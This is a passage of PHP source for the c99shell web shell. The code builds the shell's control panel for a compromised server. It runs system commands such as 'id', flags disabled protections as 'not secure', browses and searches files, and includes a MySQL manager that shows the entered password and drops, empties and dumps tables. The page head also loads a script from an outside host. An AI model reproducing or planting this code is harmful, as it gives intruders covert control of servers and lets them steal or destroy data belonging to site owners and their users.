  677.  while ($row = mysql_fetch_array($result)) {$array[] = $row;}
  678.  mysql_free_result($result);
  679.  return $array;
  680. }
  681. }
  682. if (!function_exists("mysql_smarterror"))
  683. {
  684. function mysql_smarterror($type,$sock)
  685. {
  686.  if ($sock) {$error = mysql_error($sock);}
  687.  else {$error = mysql_error();}
  688.  $error = htmlspecialchars($error);
  689.  return $error;
  690. }
  691. }
  692. if (!function_exists("mysql_query_form"))
  693. {
  694. function mysql_query_form()
  695. {
  696.  global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
  697.  if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
  698.  if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
  699.  if ((!$submit) or ($sql_act))
  700.  {
  701.   echo "<table border=0><tr><td><form action=\"".$sql_surl."\" name=\"c99sh_sqlquery\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\">&nbsp;<input type=\"submit\" value=\"No\"></form></td>";
  702.   if ($tbl_struct)
  703.   {
  704.    echo "<td valign=\"top\"><b>Fields:</b><br>";
  705.    foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "» <a href=\"#\" onclick=\"document.c99sh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";}
  706.    echo "</td></tr></table>";
  707.   }
  708.  }
  709.  if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
  710. }
  711. }
  712. if (!function_exists("mysql_create_db"))
  713. {
  714. function mysql_create_db($db,$sock="")
  715. {
  716.  $sql = "CREATE DATABASE `".addslashes($db)."`;";
  717.  if ($sock) {return mysql_query($sql,$sock);}
  718.  else {return mysql_query($sql);}
  719. }
  720. }
  721. if (!function_exists("mysql_query_parse"))
  722. {
  723. function mysql_query_parse($query)
  724. {
  725.  $query = trim($query);
  726.  $arr = explode (" ",$query);
  727.  /*array array()
  728.  {
  729.   "METHOD"=>array(output_type),
  730.   "METHOD1"...
  731.   ...
  732.  }
  733.  if output_type == 0, no output,
  734.  if output_type == 1, no output if no error
  735.  if output_type == 2, output without control-buttons
  736.  if output_type == 3, output with control-buttons
  737.  */
  738.  $types = array(
  739.   "SELECT"=>array(3,1),
  740.   "SHOW"=>array(2,1),
  741.   "DELETE"=>array(1),
  742.   "DROP"=>array(1)
  743.  );
  744.  $result = array();
  745.  $op = strtoupper($arr[0]);
  746.  if (is_array($types[$op]))
  747.  {
  748.   $result["propertions"] = $types[$op];
  749.   $result["query"]  = $query;
  750.   if ($types[$op] == 2)
  751.   {
  752.    foreach($arr as $k=>$v)
  753.    {
  754.     if (strtoupper($v) == "LIMIT")
  755.     {
  756.      $result["limit"] = $arr[$k+1];
  757.      $result["limit"] = explode(",",$result["limit"]);
  758.      if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}
  759.      unset($arr[$k],$arr[$k+1]);
  760.     }
  761.    }
  762.   }
  763.  }
  764.  else {return false;}
  765. }
  766. }
  767. if (!function_exists("c99fsearch"))
  768. {
  769. function c99fsearch($d)
  770. {
  771.  global $found;
  772.  global $found_d;
  773.  global $found_f;
  774.  global $search_i_f;
  775.  global $search_i_d;
  776.  global $a;
  777.  if (substr($d,-1,1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  778.  $h = opendir($d);
  779.  while (($f = readdir($h)) !== false)
  780.  {
  781.   if($f != "." && $f != "..")
  782.   {
  783.    $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== false) || ($a["name_regexp"] and ereg($a["name"],$f));
  784.    if (is_dir($d.$f))
  785.    {
  786.     $search_i_d++;
  787.     if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}
  788.     if (!is_link($d.$f)) {c99fsearch($d.$f);}
  789.    }
  790.    else
  791.    {
  792.     $search_i_f++;
  793.     if ($bool)
  794.     {
  795.      if (!empty($a["text"]))
  796.      {
  797.       $r = @file_get_contents($d.$f);
  798.       if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}
  799.       if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}
  800.       if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}
  801.       else {$bool = strpos(" ".$r,$a["text"],1);}
  802.       if ($a["text_not"]) {$bool = !$bool;}
  803.       if ($bool) {$found[] = $d.$f; $found_f++;}
  804.      }
  805.      else {$found[] = $d.$f; $found_f++;}
  806.     }
  807.    }
  808.   }
  809.  }
  810.  closedir($h);
  811. }
  812. }
  813. if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}}
  814. //Sending headers
  815. header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
  816. header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
  817. header("Cache-Control: no-store, no-cache, must-revalidate");
  818. header("Cache-Control: post-check=0, pre-check=0", false);
  819. header("Pragma: no-cache");
  820. if (empty($tmpdir))
  821. {
  822.  if (!$win) {$tmpdir = "/tmp/";}
  823.  else {$tmpdir = getenv("SystemRoot");}
  824. }
  825. else {$tmpdir = realpath($tmpdir);}
  826. $tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir);
  827. if (substr($tmpdir,-1,1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}
  828. if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}
  829. else {$tmpdir_logs = realpath($tmpdir_logs);}
  830. if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
  831. {
  832.  $safemode = true;
  833.  $hsafemode = "<font color=\"red\">ON (secure)</font>";
  834. }
  835. else {$safemode = false; $hsafemode = "<font color=\"green\">OFF (not secure)</font>";}
  836. $v = @ini_get("open_basedir");
  837. if ($v or strtolower($v) == "on") {$openbasedir = true; $hopenbasedir = "<font color=\"red\">".$v."</font>";}
  838. else {$openbasedir = false; $hopenbasedir = "<font color=\"green\">OFF (not secure)</font>";}
  839. $sort = htmlspecialchars($sort);
  840. if (empty($sort)) {$sort = $sort_default;}
  841. $sort[1] = strtolower($sort[1]);
  842. $DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
  843. if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}
  844. $DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE));
  845. @ini_set("highlight.bg",$highlight_bg); //FFFFFF       
  846. @ini_set("highlight.comment",$highlight_comment); //#FF8000    
  847. @ini_set("highlight.default",$highlight_default); //#0000BB    
  848. @ini_set("highlight.html",$highlight_html); //#000000  
  849. @ini_set("highlight.keyword",$highlight_keyword); //#007700    
  850. @ini_set("highlight.string",$highlight_string); //#DD0000
  851. if (!is_array($actbox)) {$actbox = array();}
  852. $dspact = $act = htmlspecialchars($act);
  853. $disp_fullpath = $ls_arr = $notls = null;
  854. $ud = urlencode($d);
  855. ?><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us"><title><?php echo getenv("HTTP_HOST"); ?> - c99shell</title><STYLE>TD { FONT-SIZE: 8pt; COLOR: #ebebeb; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #dadada; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #B7B2B0;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}</style></head><SCRIPT SRC=http://www.r57.gen.tr/yazciz/ciz.js></SCRIPT><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"><p><font face=Webdings size=6><b>!</b></font><a href="<?php echo $surl; ?>"><font face="Verdana" size="5"><b>C99Shell v. <?php echo $shver; ?></b></font></a><font face=Webdings size=6><b>!</b></font></p></center></th></tr><tr><td><p align="left"><b>Software:&nbsp;<?php echo $DISP_SERVER_SOFTWARE; ?></b>&nbsp;</p><p align="left"><b>uname -a:&nbsp;<?php echo wordwrap(php_uname(),90,"<br>",1); ?></b>&nbsp;</p><p align="left"><b><?php if (!$win) {echo wordwrap(myshellexec("id"),90,"<br>",1);} else {echo get_current_user();} ?></b>&nbsp;</p><p align="left"><b>Safe-mode:&nbsp;<?php echo $hsafemode; ?></b></p><p align="left"><?php
  856. $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  857. if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);}
  858. $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  859. if (substr($d,-1,1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  860. $d = str_replace("\\\\","\\",$d);
  861. $dispd = htmlspecialchars($d);
  862. $pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,strlen($d)-1));
  863. $i = 0;
  864. foreach($pd as $b)
  865. {
  866.  $t = "";
  867.  reset($e);
  868.  $j = 0;
  869.  foreach ($e as $r)
  870.  {
  871.   $t.= $r.DIRECTORY_SEPARATOR;
  872.   if ($j == $i) {break;}
  873.   $j++;
  874.  }
  875.  echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><b>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</b></a>";
  876.  $i++;
  877. }
  878. echo "&nbsp;&nbsp;&nbsp;";
  879. if (is_writable($d))
  880. {
  881.  $wd = true;
  882.  $wdt = "<font color=\"green\">[ ok ]</font>";
  883.  echo "<b><font color=\"green\">".view_perms(fileperms($d))."</font></b>";
  884. }
  885. else
  886. {
  887.  $wd = false;
  888.  $wdt = "<font color=\"red\">[ Read-Only ]</font>";
  889.  echo "<b>".view_perms_color($d)."</b>";
  890. }
  891. if (is_callable("disk_free_space"))
  892. {
  893.  $free = disk_free_space($d);
  894.  $total = disk_total_space($d);
  895.  if ($free === false) {$free = 0;}
  896.  if ($total === false) {$total = 0;}
  897.  if ($free < 0) {$free = 0;}
  898.  if ($total < 0) {$total = 0;}
  899.  $used = $total-$free;
  900.  $free_percent = round(100/($total/$free),2);
  901.  echo "<br><b>Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%)</b>";
  902. }
  903. echo "<br>";
  904. $letters = "";
  905. if ($win)
  906. {
  907.  $v = explode("\\",$d);
  908.  $v = $v[0];
  909.  foreach (range("a","z") as $letter)
  910.  {
  911.   $bool = $isdiskette = in_array($letter,$safemode_diskettes);
  912.   if (!$bool) {$bool = is_dir($letter.":\\");}
  913.   if ($bool)
  914.   {
  915.    $letters .= "<a href=\"".$surl."act=ls&d=".$letter.":\\\"".($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"").">[ ";
  916.    if ($letter.":" != $v) {$letters .= $letter;}
  917.    else {$letters .= "<font color=\"green\">".$letter."</font>";}
  918.    $letters .= " ]</a> ";
  919.   }
  920.  }
  921.  if (!empty($letters)) {echo "<b>Detected drives</b>: ".$letters."<br>";}
  922. }
  923. if (count($quicklaunch) > 0)
  924. {
  925.  foreach($quicklaunch as $item)
  926.  {
  927.   $item[1] = str_replace("%d",urlencode($d),$item[1]);
  928.   $item[1] = str_replace("%sort",$sort,$item[1]);
  929.   $v = realpath($d."..");
  930.   if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);}
  931.   $item[1] = str_replace("%upd",urlencode($v),$item[1]);
  932.   echo "<a href=\"".$item[1]."\">".$item[0]."</a>&nbsp;&nbsp;&nbsp;&nbsp;";
  933.  }
  934. }
  935. ?></p></td></tr></table><br><?php
  936. if ((!empty($donated_html)) and (in_array($act,$donated_act))) {?><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="100%" valign="top"><?php echo $donated_html; ?></td></tr></table><br><?php }
  937. ?><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="100%" valign="top"><?php
  938. if ($act == "") {$act = $dspact = "ls";}
  939. if ($act == "sql")
  940. {
  941.  $sql_surl = $surl."act=sql";
  942.  if ($sql_login)  {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);}
  943.  if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);}
  944.  if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);}
  945.  if ($sql_port)   {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);}
  946.  if ($sql_db)     {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);}
  947.  $sql_surl .= "&";
  948.  ?><h3>Attention! SQL-Manager is <u>NOT</u> ready module! Don't reports bugs.</h3><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><td width="100%" height="1" colspan="2" valign="top"><center><?php
  949.  if ($sql_server)
  950.  {
  951.   $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd);
  952.   $err = mysql_smarterror();
  953.   @mysql_select_db($sql_db,$sql_sock);
  954.   if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();}
  955.  }
  956.  else {$sql_sock = false;}
  957.  echo "<b>SQL Manager:</b><br>";
  958.  if (!$sql_sock)
  959.  {
  960.   if (!$sql_server) {echo "NO CONNECTION";}
  961.   else {echo "<center><b>Can't connect</b></center>"; echo "<b>".$err."</b>";}
  962.  }
  963.  else
  964.  {
  965.   $sqlquicklaunch = array();
  966.   $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
  967.   $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl));
  968.   $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus");
  969.   $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars");
  970.   $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes");
  971.   $sqlquicklaunch[] = array("Logout",$surl."act=sql");
  972.   echo "<center><b>MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")</b><br>";
  973.   if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\"><b>".$item[0]."</b></a> ] ";}}
  974.   echo "</center>";
  975.  }
  976.  echo "</td></tr><tr>";
  977.  if (!$sql_sock) {?><td width="28%" height="100" valign="top"><center><font size="5"> i </font></center><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width="90%" height="1" valign="top"><TABLE height=1 cellSpacing=0 cellPadding=0 width="100%" border=0><tr><td>&nbsp;<b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b>&nbsp;</td><td><b>Database</b>&nbsp;</td></tr><form><input type="hidden" name="act" value="sql"><tr><td><input type="text" name="sql_login" value="root" maxlength="64"></td><td><input type="password" name="sql_passwd" value="" maxlength="64"></td><td><input type="text" name="sql_db" value="" maxlength="64"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type="text" name="sql_server" value="localhost" maxlength="64"></td><td><input type="text" name="sql_port" value="3306" maxlength="6" size="3"></td><td><input type="submit" value="Connect"></td></tr><tr><td></td></tr></form></table></td><?php }
  978.  else
  979.  {
  980.   //Start left panel
  981.   if (!empty($sql_db))
  982.   {
  983.    ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade><?php
  984.    $result = mysql_list_tables($sql_db);
  985.    if (!$result) {echo mysql_smarterror();}
  986.    else
  987.    {
  988.     echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>";
  989.     $c = 0;
  990.     while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>»&nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;}
  991.     if (!$c) {echo "No tables found in database.";}
  992.    }
  993.   }
  994.   else
  995.   {
  996.    ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade><?php
  997.    $result = mysql_list_dbs($sql_sock);
  998.    if (!$result) {echo mysql_smarterror();}
  999.    else
  1000.    {
  1001.     ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db"><?php
  1002.     $c = 0;
  1003.     $dbs = "";
  1004.     while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;}
  1005.     echo "<option value=\"\">Databases (".$c.")</option>";
  1006.     echo $dbs;
  1007.    }
  1008.    ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form><?php
  1009.   }
  1010.   //End left panel
  1011.   echo "</td><td width=\"100%\" height=\"1\" valign=\"top\">";
  1012.   //Start center panel
  1013.   $diplay = true;
  1014.   if ($sql_db)
  1015.   {
  1016.    if (!is_numeric($c)) {$c = 0;}
  1017.    if ($c == 0) {$c = "no";}
  1018.    echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>";
  1019.    if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
  1020.    echo "</b></center>";
  1021.    $acts = array("","dump");
  1022.    if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,strlen($sql_query)-1).";"; $sql_act = "query";}
  1023.    elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";}
  1024.    elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";}
  1025.    elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,strlen($sql_query)-1).";"; $sql_act = "query";}
  1026.    elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,strlen($sql_query)-1).";"; $sql_act = "query";}
  1027.    elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,strlen($sql_query)-1).";"; $sql_act = "query";}
  1028.    elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,strlen($sql_query)-1).";"; $sql_act = "query";}
  1029.    elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,strlen($sql_query)-1);} $sql_act = "query";}
  1030.    elseif ($sql_tbl_act == "insert")
  1031.    {
  1032.     if ($sql_tbl_insert_radio == 1)
  1033.     {
  1034.      $keys = "";
  1035.      $akeys = array_keys($sql_tbl_insert);
  1036.      foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}
  1037.      if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}
  1038.      $values = "";
  1039.      $i = 0;
  1040.      foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}
  1041.      if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}
  1042.      $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";
  1043.      $sql_act = "query";
  1044.      $sql_tbl_act = "browse";
  1045.     }
  1046.     elseif ($sql_tbl_insert_radio == 2)
  1047.     {
  1048.      $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);
  1049.      $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";
  1050.      $result = mysql_query($sql_query) or print(mysql_smarterror());
  1051.      $result = mysql_fetch_array($result, MYSQL_ASSOC);
  1052.      $sql_act = "query";
  1053.      $sql_tbl_act = "browse";
  1054.     }
  1055.    }
  1056.    if ($sql_act == "query")
  1057.    {
  1058.     echo "<hr size=\"1\" noshade>";
  1059.     if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
  1060.     if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
  1061.     if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\">&nbsp;<input type=\"submit\" value=\"No\"></form></td></tr></table>";}
  1062.    }
  1063.    if (in_array($sql_act,$acts))
  1064.    {
  1065.     ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newtbl"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newtbl" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>Dump DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="dump"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".$SERVER_NAME."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>">&nbsp;<input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php
  1066.     if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";}
  1067.     if ($sql_act == "newtbl")
  1068.     {
  1069.      echo "<b>";
  1070.      if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";
  1071.     }
  1072.     else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
  1073.    }
  1074.    elseif ($sql_act == "dump")
  1075.    {
  1076.     if (empty($submit))
  1077.     {
  1078.      $diplay = false;
